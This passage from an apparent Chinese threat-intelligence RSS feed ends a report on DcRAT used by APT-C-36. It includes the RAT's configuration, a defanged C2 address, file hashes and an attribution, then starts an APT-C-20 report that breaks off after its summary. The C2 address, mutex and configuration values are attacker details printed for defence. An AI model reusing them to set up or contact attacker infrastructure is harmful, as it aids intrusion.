windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">8091</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">Hosts</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">45.92.1[.]165</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">version</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">1.0.7</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">install</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">false</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">MTX</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">&#34;DcRatMutex_qwqdanchun&#34;</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">pastebin</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">null</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">anti</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">false</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">Anti process</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">false</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">BSOD</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">false</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">group</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">ZMUYER</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">HWID</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">&#34;419F8C8DF79EB02CC879&#34;</span></span></p></td></tr></tbody></table><p style="text-indent: 2em;"><o:p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这个远控程序的功能还包括反杀毒软件、终止进程、开启摄像头、发送敏感主机信息等。</span></o:p></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">三、归属研判</span></span></strong></p></div></div></div></div></div><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过对本次攻击活动的分析，我们发现其攻击方式与APT-C-36（盲眼鹰）组织的技术特征高度符合，具体总结如下：</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（1）钓鱼诱饵面向哥伦比亚境内用户投放，文件格式和钓鱼主题符合该组织的一贯行为特点。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（2）DcRAT是该组织的常用远控木马，近年来常搭配各类加载器出现在该组织的活动中[2]。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（3）此次攻击活动使用的加载器属于MaaS类（malware</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">as a service）加载器，它可能是流行于地下网络犯罪界的一种恶意软件。攻击者获得它后几乎不修改加载器本体，而只替换嵌入的加密 paylaod，再包装成“白加黑”的诱饵进行投放，这与APT-C-36的行动特点一致。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">该组织近年来变换使用各类MaaS类加载器，种类繁多，我们将保持对该组织的关注和分析。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><div data-role="paragraph"><div data-role="outer" label="edit by 135editor" data-pm-slice="4 3 []"><div data-role="paragraph"><p><span leaf=""><span textstyle="" style="font-weight: bold;">Hash：</span></span></p><p><span leaf="">a0c50071c7aaba7e12b975c1952a790b</span></p><p><span leaf="">e53822b99b9848b73a1297270d0f6dd0</span></p></div></div><h3 style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: bold;">C2：</span></span></h3><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">45.92.1[.]165:8091</span></span></p></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">参考</span></span></strong></span></p></div></div></div><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">[1]<a href="https://www.ibm.com/think/x-force/ibm-x-force-threat-analysis-quirkyloader" target="_blank">https://www.ibm.com/think/x-force/ibm-x-force-threat-analysis-quirkyloader</a></span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">[2] <a href="https://mp.weixin.qq.com/s/DDCCjhBjUTa7Ia4Hggsa1A" target="_blank">https://mp.weixin.qq.com/s/DDCCjhBjUTa7Ia4Hggsa1A</a></span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Wed, 08 Jul 2026 17:30:00 +0800</pubDate>
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      <title>APT-C-20利用explorer劫持和LSB隐写等技术实施隐蔽攻击活动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508724&amp;idx=1&amp;sn=32fa81b1b5252242419bdb06df6423c4</link>
      <description>近期360 高威胁研究院跟踪 APT-C-20 攻击发现：该组织利用带恶意宏的诱饵文档投毒，通过 COM 劫持持久化、加载恶意 DLL，从隐写图片提取 Shellcode，依托 Filen.io 云平台搭建无文件远控框架。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-07-01 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3db5212b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXLrNIe4EMXHM2JdT6RKQXerdwKRicjTwcobPxZOYn4o6fbcZJOKbJ8cARFf8l1klHJjJhtY9aMicXmcStVf8KPK5Xlc55fhHBmXM%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>近期360 高威胁研究院跟踪 APT-C-20 攻击发现：该组织利用带恶意宏的诱饵文档投毒，通过 COM 劫持持久化、加载恶意 DLL，从隐写图片提取 Shellcode，依托 Filen.io 云平台搭建无文件远控框架。</p>
  <div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="102539"><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">APT-C-20</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">APT28</span></strong></span></p></div></div><div data-autoskip="1"><p style="margin-top: 16px;margin-bottom: 8px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">A</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: 